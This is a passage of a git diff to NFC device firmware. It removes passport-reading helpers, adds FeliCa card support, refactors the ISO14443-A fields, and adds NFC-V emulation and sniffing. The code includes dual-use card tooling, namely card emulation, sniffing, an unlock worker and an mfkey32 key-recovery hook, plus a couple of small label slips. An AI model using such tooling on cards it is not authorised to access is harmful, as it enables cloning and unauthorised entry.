.TravelRecords = {0xA0, 0x00, 0x00, 0x02, 0x47, 0x20, 0x01}, - .VisaRecords = {0xA0, 0x00, 0x00, 0x02, 0x47, 0x20, 0x02}, - .AdditionalBiometrics = {0xA0, 0x00, 0x00, 0x02, 0x47, 0x20, 0x03}, -}; - -const EFFile* mrtd_tag_to_file(uint8_t tag) { - //TODO: generate this code with macros? - switch(tag) { - case 0x60: - return &EF.COM; - case 0x77: - return &EF.SOD; - case 0x61: - return &EF.DG1; - case 0x75: - return &EF.DG2; - case 0x63: - return &EF.DG3; - case 0x76: - return &EF.DG4; - case 0x65: - return &EF.DG5; - case 0x66: - return &EF.DG6; - case 0x67: - return &EF.DG7; - case 0x68: - return &EF.DG8; - case 0x69: - return &EF.DG9; - case 0x6a: - return &EF.DG10; - case 0x6b: - return &EF.DG11; - case 0x6c: - return &EF.DG12; - case 0x6d: - return &EF.DG13; - case 0x6e: - return &EF.DG14; - case 0x6f: - return &EF.DG15; - case 0x70: - return &EF.DG16; - default: - return &EFNone; - } -}; - -int tlv_number(TlvInfo tlv) { - //TODO: negative numbers? - const uint8_t* str = tlv.value; - size_t length = tlv.length; - - int value = 0; - while(length--) { - char c = *(str++); - - if(c >= '0' && c <= '9') { - value = value * 10 + (c - '0'); - } else { - //TODO: warning? return? crash? - } - } - return value; -} diff --git a/lib/nfc/helpers/mrtd_helpers.h b/lib/nfc/helpers/mrtd_helpers.h deleted file mode 100644 index 994e66974..000000000 --- a/lib/nfc/helpers/mrtd_helpers.h +++ /dev/null @@ -1,228 +0,0 @@ -#pragma once - -#include -#include -#include -#include - -#include - -#include "../helpers/iso7816.h" - -typedef struct { - uint8_t year; - uint8_t month; - uint8_t day; -} MrtdDate; - -// NULL terminated document ID -#define MRTD_DOCNR_MAX_LENGTH 21 - -typedef enum { - MrtdAuthMethodNone, - MrtdAuthMethodAny, - MrtdAuthMethodBac, - MrtdAuthMethodPace, -} MrtdAuthMethod; - -typedef enum { - MrtdTypeUnknown, - MrtdTypeTD1, - MrtdTypeTD2, - MrtdTypeTD3, -} MrtdType; - -typedef struct { - MrtdAuthMethod method; - - // BAC input fields - MrtdDate birth_date; - MrtdDate expiry_date; - char doc_number[MRTD_DOCNR_MAX_LENGTH]; - - //TODO: PACE -} MrtdAuthData; - -typedef struct { - mbedtls_des_context des; - uint8_t key[16]; - uint8_t mac[8]; - uint8_t xormac[8]; - - uint8_t buffer_in[8]; - uint8_t idx_in; -} mrtd_bac_mac_ctx; - -typedef struct { - const char* name; - const uint8_t short_id; - const uint16_t file_id; - const uint8_t tag; -} EFFile; - -struct EFFormat { - // Under Master File (MF) - const EFFile ATR; - const EFFile DIR; - const EFFile CardAccess; - const EFFile CardSecurity; - - // Under LDS1 eMRTD Application - const EFFile COM; - const EFFile SOD; - const EFFile DG1; - const EFFile DG2; - const EFFile DG3; - const EFFile DG4; - const EFFile DG5; - const EFFile DG6; - const EFFile DG7; - const EFFile DG8; - const EFFile DG9; - const EFFile DG10; - const EFFile DG11; - const EFFile DG12; - const EFFile DG13; - const EFFile DG14; - const EFFile DG15; - const EFFile DG16; -}; - -extern const struct EFFormat EF; - -typedef uint8_t AIDValue[7]; - -struct AIDSet { - AIDValue eMRTDApplication; - AIDValue TravelRecords; - AIDValue VisaRecords; - AIDValue AdditionalBiometrics; -}; - -extern struct AIDSet AID; - -#define MAX_EFDIR_APPS 4 - -typedef struct { - AIDValue applications[MAX_EFDIR_APPS]; - uint8_t applications_count; -} EF_DIR_contents; - -#define MAX_EFCOM_TAGS 18 - -typedef struct { - uint16_t lds_version; // xxyy => xx.yy (major.minor) - uint32_t unicode_version; // aabbcc => aa.bb.cc (major.minor.release) - uint8_t tag_list[MAX_EFCOM_TAGS]; -} EF_COM_contents; - -typedef struct { - MrtdType type; - // ICAO9303 max sizes + 1 for 0-byte - uint8_t doctype[3]; - uint8_t issuing_state[4]; - uint8_t name[40]; - MrtdDate birth_date; - uint8_t docnr[10]; - uint8_t nationality[4]; - uint8_t sex[2]; - MrtdDate expiry_date; -} EF_DG1_contents; - -typedef struct { - MrtdAuthData auth; - bool auth_success; - MrtdAuthMethod auth_method_used; - - struct { - EF_DIR_contents EF_DIR; - EF_COM_contents EF_COM; - EF_DG1_contents DG1; - } files; -} MrtdData; - -const char* mrtd_auth_method_string(MrtdAuthMethod method); - -bool mrtd_auth_method_parse_string(MrtdAuthMethod* method, const char* str); - -uint8_t mrtd_bac_check_digit(const char* input, const uint8_t length); - -//TODO: swap order, all other functions have output last -void mrtd_print_date(char* output, MrtdDate* date); - -void mrtd_parse_date(MrtdDate* date, const unsigned char* input); - -bool mrtd_bac_get_kmrz(MrtdAuthData* auth, char* output, uint8_t output_size); - -bool mrtd_bac_keys_from_seed(const uint8_t* kseed, uint8_t* ksenc, uint8_t* ksmac); - -bool mrtd_bac_keys(MrtdAuthData* auth, uint8_t ksenc[16], uint8_t ksmac[16]); - -bool mrtd_bac_encrypt(const uint8_t* data, size_t data_length, const uint8_t* key, uint8_t* output); - -bool mrtd_bac_mac(const uint8_t* data, size_t data_length, const uint8_t* key, uint8_t* output); - -bool mrtd_bac_mac_init(mrtd_bac_mac_ctx* ctx, const uint8_t key[16]); - -bool mrtd_bac_mac_update(mrtd_bac_mac_ctx* ctx, const uint8_t* data, size_t data_length); - -bool mrtd_bac_mac_finalize(mrtd_bac_mac_ctx* ctx, uint8_t output[8]); - -bool mrtd_bac_mac_pad(mrtd_bac_mac_ctx* ctx); // TODO: internal only, remove from .h? - -bool mrtd_bac_padded_mac(const uint8_t* data, size_t data_length, uint8_t* key, uint8_t* output); - -bool mrtd_bac_decrypt(const uint8_t* data, size_t data_length, uint8_t* key, uint8_t* output); - -bool mrtd_bac_decrypt_verify( - const uint8_t* data, - size_t data_length, - uint8_t* key_enc, - uint8_t* key_mac, - uint8_t* output); - -//TODO: add some consts -uint16_t mrtd_bac_decrypt_verify_sm( - const uint8_t* data, - size_t data_length, - uint8_t* key_enc, - uint8_t* key_mac, - uint64_t ssc, - uint8_t* output, - size_t* output_written); - -#include -#define htonll(x) ((((uint64_t)__htonl(x)) << 32) + __htonl((x) >> 32)) - -static __inline uint64_t mrtd_ssc_from_data(const uint8_t* rnd_ic, const uint8_t* rnd_ifd) { -#if _BYTE_ORDER == _LITTLE_ENDIAN - return (((uint64_t)rnd_ic[4] << 56) & 0xff00000000000000) | - (((uint64_t)rnd_ic[5] << 48) & 0x00ff000000000000) | - (((uint64_t)rnd_ic[6] << 40) & 0x0000ff0000000000) | - (((uint64_t)rnd_ic[7] << 32) & 0x000000ff00000000) | - (((uint64_t)rnd_ifd[4] << 24) & 0x00000000ff000000) | - (((uint64_t)rnd_ifd[5] << 16) & 0x0000000000ff0000) | - (((uint64_t)rnd_ifd[6] << 8) & 0x000000000000ff00) | - (((uint64_t)rnd_ifd[7]) & 0x00000000000000ff); -#else -#error Using untested code, please verify first! - return (*((uint64_t*)(rnd_ic + 4)) & 0xffffffff) + (*((uint64_t*)(rnd_ifd + 4)) * 0x100000000); -#endif -} - -size_t mrtd_protect_apdu( - uint8_t cla, - uint8_t ins, - uint8_t p1, - uint8_t p2, - uint8_t lc, - const void* data, - int16_t le, - const uint8_t* key_enc, - const uint8_t* key_mac, - uint64_t ssc, - uint8_t* output); - -int tlv_number(TlvInfo tlv); - -const EFFile* mrtd_tag_to_file(uint8_t tag); diff --git a/lib/nfc/helpers/nfc_generators.c b/lib/nfc/helpers/nfc_generators.c index 50c89aba8..90bfbec9d 100644 --- a/lib/nfc/helpers/nfc_generators.c +++ b/lib/nfc/helpers/nfc_generators.c @@ -83,9 +83,9 @@ static void nfc_generate_mf_ul_common(NfcDeviceData* data) { data->nfc_data.interface = FuriHalNfcInterfaceRf; data->nfc_data.uid_len = 7; nfc_generate_mf_ul_uid(data->nfc_data.uid); - data->nfc_data.atqa[0] = 0x44; - data->nfc_data.atqa[1] = 0x00; - data->nfc_data.sak = 0x00; + data->nfc_data.a_data.atqa[0] = 0x44; + data->nfc_data.a_data.atqa[1] = 0x00; + data->nfc_data.a_data.sak = 0x00; data->protocol = NfcDeviceProtocolMifareUl; } @@ -94,9 +94,15 @@ static void data->nfc_data.type = FuriHalNfcTypeA; data->nfc_data.interface = FuriHalNfcInterfaceRf; data->nfc_data.uid_len = uid_len; - data->nfc_data.atqa[0] = 0x44; - data->nfc_data.atqa[1] = 0x00; - data->nfc_data.sak = 0x08; + data->nfc_data.a_data.atqa[0] = 0x44; + data->nfc_data.a_data.atqa[1] = 0x00; + data->nfc_data.a_data.sak = 0x08; + nfc_generate_mf_classic_block_0( + data->mf_classic_data.block[0].value, + uid_len, + data->nfc_data.a_data.sak, + data->nfc_data.a_data.atqa[0], + data->nfc_data.a_data.atqa[1]); data->protocol = NfcDeviceProtocolMifareClassic; data->mf_classic_data.type = type; } @@ -250,9 +256,9 @@ static void mful->data_size = num_pages * 4; mful->data_read = mful->data_size; memcpy(mful->data, data->nfc_data.uid, data->nfc_data.uid_len); - mful->data[7] = data->nfc_data.sak; - mful->data[8] = data->nfc_data.atqa[0]; - mful->data[9] = data->nfc_data.atqa[1]; + mful->data[7] = data->nfc_data.a_data.sak; + mful->data[8] = data->nfc_data.a_data.atqa[0]; + mful->data[9] = data->nfc_data.a_data.atqa[1]; uint16_t config_register_page; uint16_t session_register_page; @@ -358,7 +364,7 @@ void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType mf_classic_set_block_read(mfc, i, &mfc->block[i]); } // Set SAK to 18 - data->nfc_data.sak = 0x18; + data->nfc_data.a_data.sak = 0x18; } else if(type == MfClassicType1k) { // Set every block to 0xFF for(uint16_t i = 1; i < MF_CLASSIC_1K_TOTAL_SECTORS_NUM * 4; i += 1) { @@ -370,7 +376,7 @@ void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType mf_classic_set_block_read(mfc, i, &mfc->block[i]); } // Set SAK to 08 - data->nfc_data.sak = 0x08; + data->nfc_data.a_data.sak = 0x08; } else if(type == MfClassicTypeMini) { // Set every block to 0xFF for(uint16_t i = 1; i < MF_MINI_TOTAL_SECTORS_NUM * 4; i += 1) { @@ -382,15 +388,15 @@ void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType mf_classic_set_block_read(mfc, i, &mfc->block[i]); } // Set SAK to 09 - data->nfc_data.sak = 0x09; + data->nfc_data.a_data.sak = 0x09; } nfc_generate_mf_classic_block_0( data->mf_classic_data.block[0].value, uid_len, - data->nfc_data.sak, - data->nfc_data.atqa[0], - data->nfc_data.atqa[1]); + data->nfc_data.a_data.sak, + data->nfc_data.a_data.atqa[0], + data->nfc_data.a_data.atqa[1]); mfc->type = type; } diff --git a/lib/nfc/helpers/reader_analyzer.c b/lib/nfc/helpers/reader_analyzer.c index 0063b13e7..11ed26a1c 100644 --- a/lib/nfc/helpers/reader_analyzer.c +++ b/lib/nfc/helpers/reader_analyzer.c @@ -41,13 +41,11 @@ struct ReaderAnalyzer { static FuriHalNfcDevData reader_analyzer_nfc_data[] = { //XXX [ReaderAnalyzerNfcDataMfClassic] = - {.sak = 0x08, - .atqa = {0x44, 0x00}, - .interface = FuriHalNfcInterfaceRf, + {.interface = FuriHalNfcInterfaceRf, .type = FuriHalNfcTypeA, .uid_len = 7, .uid = {0x04, 0x77, 0x70, 0x2A, 0x23, 0x4F, 0x80}, - .cuid = 0x2A234F80}, + .a_data = {.sak = 0x08, .atqa = {0x44, 0x00}, .cuid = 0x2A234F80}}, }; void reader_analyzer_parse(ReaderAnalyzer* instance, uint8_t* buffer, size_t size) { @@ -100,7 +98,7 @@ int32_t reader_analyzer_thread(void* context) { ReaderAnalyzer* reader_analyzer_alloc() { ReaderAnalyzer* instance = malloc(sizeof(ReaderAnalyzer)); - reader_analyzer_nfc_data[ReaderAnalyzerNfcDataMfClassic].cuid = rand(); //XXX + reader_analyzer_nfc_data[ReaderAnalyzerNfcDataMfClassic].a_data.cuid = rand(); //XXX furi_hal_random_fill_buf( (uint8_t*)&reader_analyzer_nfc_data[ReaderAnalyzerNfcDataMfClassic].uid, 7); instance->nfc_data = reader_analyzer_nfc_data[ReaderAnalyzerNfcDataMfClassic]; @@ -134,7 +132,7 @@ void reader_analyzer_start(ReaderAnalyzer* instance, ReaderAnalyzerMode mode) { instance->debug_log = nfc_debug_log_alloc(); } if(mode & ReaderAnalyzerModeMfkey) { - instance->mfkey32 = mfkey32_alloc(instance->nfc_data.cuid); + instance->mfkey32 = mfkey32_alloc(instance->nfc_data.a_data.cuid); if(instance->mfkey32) { mfkey32_set_callback(instance->mfkey32, reader_analyzer_mfkey_callback, instance); } diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index df7688ed1..af0ef42ae 100644 --- a/lib/nfc/nfc_device.c +++ b/lib/nfc/nfc_device.c @@ -674,7 +674,7 @@ static bool nfc_device_save_slix_data(FlipperFormat* file, NfcDevice* dev) { bool nfc_device_load_slix_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0, sizeof(NfcVSlixData)); do { if(!flipper_format_read_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) @@ -715,7 +715,7 @@ static bool nfc_device_save_slix_s_data(FlipperFormat* file, NfcDevice* dev) { bool nfc_device_load_slix_s_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0, sizeof(NfcVSlixData)); do { if(!flipper_format_read_hex(file, "Password Read", data->key_read, sizeof(data->key_read))) @@ -763,7 +763,7 @@ static bool nfc_device_save_slix_l_data(FlipperFormat* file, NfcDevice* dev) { bool nfc_device_load_slix_l_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0, sizeof(NfcVSlixData)); do { if(!flipper_format_read_hex( @@ -811,7 +811,7 @@ static bool nfc_device_save_slix2_data(FlipperFormat* file, NfcDevice* dev) { bool nfc_device_load_slix2_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0, sizeof(NfcVSlixData)); do { if(!flipper_format_read_hex(file, "Password Read", data->key_read, sizeof(data->key_read))) @@ -858,6 +858,12 @@ static bool nfc_device_save_nfcv_data(FlipperFormat* file, NfcDevice* dev) { if(!flipper_format_write_hex( file, "Data Content", data->data, data->block_num * data->block_size)) break; + if(!flipper_format_write_comment_cstr( + file, "First byte: DSFID (0x01) / AFI (0x02) lock info, others: block lock info")) + break; + if(!flipper_format_write_hex( + file, "Security Status", data->security_status, 1 + data->block_num)) + break; if(!flipper_format_write_comment_cstr( file, "Subtype of this card (0 = ISO15693, 1 = SLIX, 2 = SLIX-S, 3 = SLIX-L, 4 = SLIX2)")) @@ -882,6 +888,8 @@ static bool nfc_device_save_nfcv_data(FlipperFormat* file, NfcDevice* dev) { case NfcVTypeSlix2: saved = nfc_device_save_slix2_data(file, dev); break; + default: + break; } } while(false); @@ -892,7 +900,7 @@ bool nfc_device_load_nfcv_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVData* data = &dev->dev_data.nfcv_data; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0x00, sizeof(NfcVData)); do { uint32_t temp_uint32 = 0; @@ -907,6 +915,13 @@ bool nfc_device_load_nfcv_data(FlipperFormat* file, NfcDevice* dev) { if(!flipper_format_read_hex( file, "Data Content", data->data, data->block_num * data->block_size)) break; + + /* optional, as added later */ + if(flipper_format_key_exist(file, "Security Status")) { + if(!flipper_format_read_hex( + file, "Security Status", data->security_status, 1 + data->block_num)) + break; + } if(!flipper_format_read_hex(file, "Subtype", &temp_value, 1)) break; data->sub_type = temp_value; @@ -926,6 +941,8 @@ bool nfc_device_load_nfcv_data(FlipperFormat* file, NfcDevice* dev) { case NfcVTypeSlix2: parsed = nfc_device_load_slix2_data(file, dev); break; + default: + break; } } while(false); @@ -1379,19 +1396,23 @@ bool nfc_device_save(NfcDevice* dev, const char* dev_name) { if(!flipper_format_write_header_cstr(file, nfc_file_header, nfc_file_version)) break; // Write nfc device type if(!flipper_format_write_comment_cstr( - file, "Nfc device type can be UID, Mifare Ultralight, Mifare Classic or ISO15693")) + file, + "Nfc device type can be UID, Mifare Ultralight, Mifare Classic, Bank card or ISO15693")) break; nfc_device_prepare_format_string(dev, temp_str); if(!flipper_format_write_string(file, "Device type", temp_str)) break; - // Write UID - if(!flipper_format_write_comment_cstr(file, "UID is common for all formats")) break; + // Write UID, ATQA, SAK + if(!flipper_format_write_comment_cstr(file, "UID, ATQA and SAK are common for all formats")) + break; if(!flipper_format_write_hex(file, "UID", data->uid, data->uid_len)) break; if(dev->format != NfcDeviceSaveFormatNfcV) { + // Write ATQA, SAK + if(!flipper_format_write_comment_cstr(file, "ISO14443 specific fields")) break; // Save ATQA in MSB order for correct companion apps display - uint8_t atqa[2] = {data->atqa[1], data->atqa[0]}; + uint8_t atqa[2] = {data->a_data.atqa[1], data->a_data.atqa[0]}; if(!flipper_format_write_hex(file, "ATQA", atqa, 2)) break; - if(!flipper_format_write_hex(file, "SAK", &data->sak, 1)) break; + if(!flipper_format_write_hex(file, "SAK", &data->a_data.sak, 1)) break; } // Save more data if necessary @@ -1482,22 +1503,22 @@ static bool nfc_device_load_data(NfcDevice* dev, FuriString* path, bool show_dia if(!flipper_format_read_hex(file, "UID", data->uid, data->uid_len)) break; if(dev->format != NfcDeviceSaveFormatNfcV) { if(version == version_with_lsb_atqa) { - if(!flipper_format_read_hex(file, "ATQA", data->atqa, 2)) break; + if(!flipper_format_read_hex(file, "ATQA", data->a_data.atqa, 2)) break; } else { uint8_t atqa[2] = {}; if(!flipper_format_read_hex(file, "ATQA", atqa, 2)) break; - data->atqa[0] = atqa[1]; - data->atqa[1] = atqa[0]; + data->a_data.atqa[0] = atqa[1]; + data->a_data.atqa[1] = atqa[0]; } - if(!flipper_format_read_hex(file, "SAK", &data->sak, 1)) break; + if(!flipper_format_read_hex(file, "SAK", &data->a_data.sak, 1)) break; } // Load CUID uint8_t* cuid_start = data->uid; if(data->uid_len == 7) { cuid_start = &data->uid[3]; } - data->cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | (cuid_start[2] << 8) | - (cuid_start[3]); + data->a_data.cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | (cuid_start[2] << 8) | + (cuid_start[3]); // Parse other data if(dev->format == NfcDeviceSaveFormatMifareUl) { if(!nfc_device_load_mifare_ul_data(file, dev)) break; @@ -1593,6 +1614,8 @@ void nfc_device_data_clear(NfcDeviceData* dev_data) { mf_ul_reset(&dev_data->mf_ul_data); } else if(dev_data->protocol == NfcDeviceProtocolEMV) { memset(&dev_data->emv_data, 0, sizeof(EmvData)); + } else if(dev_data->protocol == NfcDeviceProtocolFelica) { + felica_clear(&dev_data->felica_data); } memset(&dev_data->nfc_data, 0, sizeof(FuriHalNfcDevData)); dev_data->protocol = NfcDeviceProtocolUnknown; diff --git a/lib/nfc/nfc_device.h b/lib/nfc/nfc_device.h index 10530e317..1d66ced68 100644 --- a/lib/nfc/nfc_device.h +++ b/lib/nfc/nfc_device.h @@ -8,11 +8,12 @@ #include #include #include -#include #include #include #include #include +#include +#include #ifdef __cplusplus extern "C" { @@ -30,11 +31,11 @@ typedef void (*NfcLoadingCallback)(void* context, bool state); typedef enum { NfcDeviceProtocolUnknown, NfcDeviceProtocolEMV, - NfcDeviceProtocolMRTD, NfcDeviceProtocolMifareUl, NfcDeviceProtocolMifareClassic, NfcDeviceProtocolMifareDesfire, - NfcDeviceProtocolNfcV + NfcDeviceProtocolNfcV, + NfcDeviceProtocolFelica, } NfcProtocol; typedef enum { @@ -44,6 +45,7 @@ typedef enum { NfcDeviceSaveFormatMifareClassic, NfcDeviceSaveFormatMifareDesfire, NfcDeviceSaveFormatNfcV, + NfcDeviceSaveFormatFelica, } NfcDeviceSaveFormat; typedef struct { @@ -63,6 +65,7 @@ typedef enum { NfcReadModeMfDesfire, NfcReadModeEMV, NfcReadModeNFCA, + NfcReadModeFelica, } NfcReadMode; typedef struct { @@ -76,11 +79,11 @@ typedef struct { }; union { EmvData emv_data; - MrtdData mrtd_data; MfUltralightData mf_ul_data; MfClassicData mf_classic_data; MifareDesfireData mf_df_data; NfcVData nfcv_data; + FelicaData felica_data; }; FuriString* parsed_data; } NfcDeviceData; diff --git a/lib/nfc/nfc_types.c b/lib/nfc/nfc_types.c index 02ca85580..6a256985c 100644 --- a/lib/nfc/nfc_types.c +++ b/lib/nfc/nfc_types.c @@ -65,3 +65,63 @@ const char* nfc_mf_classic_type(MfClassicType type) { return "Mifare Classic"; } } + +const char* nfc_felica_type(FelicaICType type) { + if(type == FelicaICType576B) { + return "FeliCa Classic 576B"; + } else if(type == FelicaICType2K) { + return "FeliCa Classic 2K"; + } else if(type == FelicaICType4K) { + return "FeliCa Classic 4K"; + } else if(type == FelicaICTypeFRAM_4K) { + return "FeliCa Classic 4K (FRAM)"; + } else if(type == FelicaICTypeFRAM_9K) { + return "FeliCa Classic 9K"; + } else if(type == FelicaICTypeEMV_16K) { + return "FeliCa Classic EMV 16K"; + } else if(type == FelicaICTypeEMV_32K) { + return "FeliCa Classic EMV 32K"; + } else if(type == FelicaICTypeEMV_36K) { + return "FeliCa Classic EMV 36K"; + } else if(type == FelicaICTypeEMV_36K) { + return "FeliCa Classic EMV 36K"; + } else if(type == FelicaICTypeSD1WithDES) { + return "FeliCa SD1 (DES compatible)"; + } else if(type == FelicaICTypeSD1) { + return "FeliCa SD1"; + } else if(type == FelicaICTypeRC_SA08) { + return "FeliCa RC-SA08"; + } else if(type == FelicaICTypeSD2WithDES) { + return "FeliCa SD2 (DES compatible)"; + } else if(type == FelicaICTypeSD2_4K) { + return "FeliCa SD2 4K"; + } else if(type == FelicaICTypeSD2_6K) { + return "FeliCa SD2 6K"; + } else if(type == FelicaICTypeRC_SA24_6K) { + return "FeliCa RC-SA24 6K"; + } else if(type == FelicaICTypeRC_SA24_10K) { + return "FeliCa RC-SA24 6K"; + } else if(type == FelicaICTypeMobileIC_V1) { + return "Mobile FeliCa v1"; + } else if(type == FelicaICTypeMobileIC_V2) { + return "Mobile FeliCa v2"; + } else if(type == FelicaICTypeMobileIC_V3) { + return "Mobile FeliCa v3"; + } else if(type == FelicaICTypeMobileIC_V4) { + return "Mobile FeliCa v4"; + } else if(type == FelicaICTypeMobileIC_V4_1) { + return "Mobile FeliCa v4.1"; + } else if(type == FelicaICTypeLite) { + return "FeliCa Lite"; + } else if(type == FelicaICTypeLiteS) { + return "FeliCa Lite-S"; + } else if(type == FelicaICTypeLink) { + return "FeliCa Link"; + } else if(type == FelicaICTypePlug) { + return "FeliCa Plug"; + } else if(type == FelicaICTypeSuica) { + return "FeliCa (SuiCa)"; + } else { + return "FeliCa"; + } +} diff --git a/lib/nfc/nfc_types.h b/lib/nfc/nfc_types.h index fb53ce7c2..9d0bab1d7 100644 --- a/lib/nfc/nfc_types.h +++ b/lib/nfc/nfc_types.h @@ -9,3 +9,5 @@ const char* nfc_guess_protocol(NfcProtocol protocol); const char* nfc_mf_ul_type(MfUltralightType type, bool full_name); const char* nfc_mf_classic_type(MfClassicType type); + +const char* nfc_felica_type(FelicaICType type); \ No newline at end of file diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index d77029b61..0715f528f 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -16,7 +16,6 @@ NfcWorker* nfc_worker_alloc() { nfc_worker->callback = NULL; nfc_worker->context = NULL; - nfc_worker->event_data = NULL; nfc_worker->storage = furi_record_open(RECORD_STORAGE); // Initialize rfal @@ -46,10 +45,6 @@ NfcWorkerState nfc_worker_get_state(NfcWorker* nfc_worker) { return nfc_worker->state; } -void* nfc_worker_get_event_data(NfcWorker* nfc_worker) { - return nfc_worker->event_data; -} - void nfc_worker_start( NfcWorker* nfc_worker, NfcWorkerState state, @@ -117,7 +112,9 @@ int32_t nfc_worker_task(void* context) { } else if(nfc_worker->state == NfcWorkerStateAnalyzeReader) { nfc_worker_analyze_reader(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVEmulate) { - nfc_worker_emulate_nfcv(nfc_worker); + nfc_worker_nfcv_emulate(nfc_worker); + } else if(nfc_worker->state == NfcWorkerStateNfcVSniff) { + nfc_worker_nfcv_sniff(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVUnlock) { nfc_worker_nfcv_unlock(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVUnlockAndSave) { @@ -129,13 +126,15 @@ int32_t nfc_worker_task(void* context) { return 0; } -static bool nfc_worker_read_nfcv_content(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { +static bool nfc_worker_read_nfcv(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { bool read_success = false; NfcVReader reader = {}; FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + furi_hal_nfc_sleep(); + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, tx_rx, false); reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); @@ -155,6 +154,64 @@ static bool nfc_worker_read_nfcv_content(NfcWorker* nfc_worker, FuriHalNfcTxRxCo return read_success; } +void nfc_worker_nfcv_emulate(NfcWorker* nfc_worker) { + FuriHalNfcTxRxContext tx_rx = {}; + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, &tx_rx, true); + reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); + } + + nfcv_emu_init(nfc_data, nfcv_data); + while(nfc_worker->state == NfcWorkerStateNfcVEmulate) { + if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 100)) { + if(nfc_worker->callback) { + nfc_worker->callback(NfcWorkerEventNfcVCommandExecuted, nfc_worker->context); + if(nfcv_data->modified) { + nfc_worker->callback(NfcWorkerEventNfcVContentChanged, nfc_worker->context); + nfcv_data->modified = false; + } + } + } + furi_delay_ms(10); + } + nfcv_emu_deinit(nfcv_data); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_stop(nfc_worker->reader_analyzer); + } +} + +void nfc_worker_nfcv_sniff(NfcWorker* nfc_worker) { + FuriHalNfcTxRxContext tx_rx = {}; + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, &tx_rx, true); + reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); + } + + nfcv_data->sub_type = NfcVTypeSniff; + nfcv_emu_init(nfc_data, nfcv_data); + + while(nfc_worker->state == NfcWorkerStateNfcVSniff) { + if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 100)) { + if(nfc_worker->callback) { + nfc_worker->callback(NfcWorkerEventNfcVCommandExecuted, nfc_worker->context); + } + } + furi_delay_ms(10); + } + nfcv_emu_deinit(nfcv_data); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_stop(nfc_worker->reader_analyzer); + } +} + void nfc_worker_nfcv_unlock(NfcWorker* nfc_worker) { furi_assert(nfc_worker); furi_assert(nfc_worker->callback); @@ -476,10 +533,49 @@ static bool nfc_worker_read_bank_card(NfcWorker* nfc_worker, FuriHalNfcTxRxConte return read_success; } -static bool nfc_worker_read_mrtd(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { +static bool nfc_worker_read_nfca(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + FuriHalNfcADevData* a_data = &nfc_data->a_data; + + bool card_read = false; + furi_hal_nfc_sleep(); + if(mf_ul_check_card_type(a_data)) { + FURI_LOG_I(TAG, "Mifare Ultralight / NTAG detected"); + nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareUl; + card_read = nfc_worker_read_mf_ultralight(nfc_worker, tx_rx); + } else if(mf_classic_check_card_type(a_data)) { + FURI_LOG_I(TAG, "Mifare Classic detected"); + nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareClassic; + nfc_worker->dev_data->mf_classic_data.type = mf_classic_get_classic_type(a_data); + card_read = nfc_worker_read_mf_classic(nfc_worker, tx_rx); + } else if(mf_df_check_card_type(a_data)) { + FURI_LOG_I(TAG, "Mifare DESFire detected"); + nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareDesfire; + if(!nfc_worker_read_mf_desfire(nfc_worker, tx_rx)) { + FURI_LOG_I(TAG, "Unknown card. Save UID"); + nfc_worker->dev_data->protocol = NfcDeviceProtocolUnknown; + } + card_read = true; + } else if(nfc_data->interface == FuriHalNfcInterfaceIsoDep) { + FURI_LOG_I(TAG, "ISO14443-4 card detected"); + 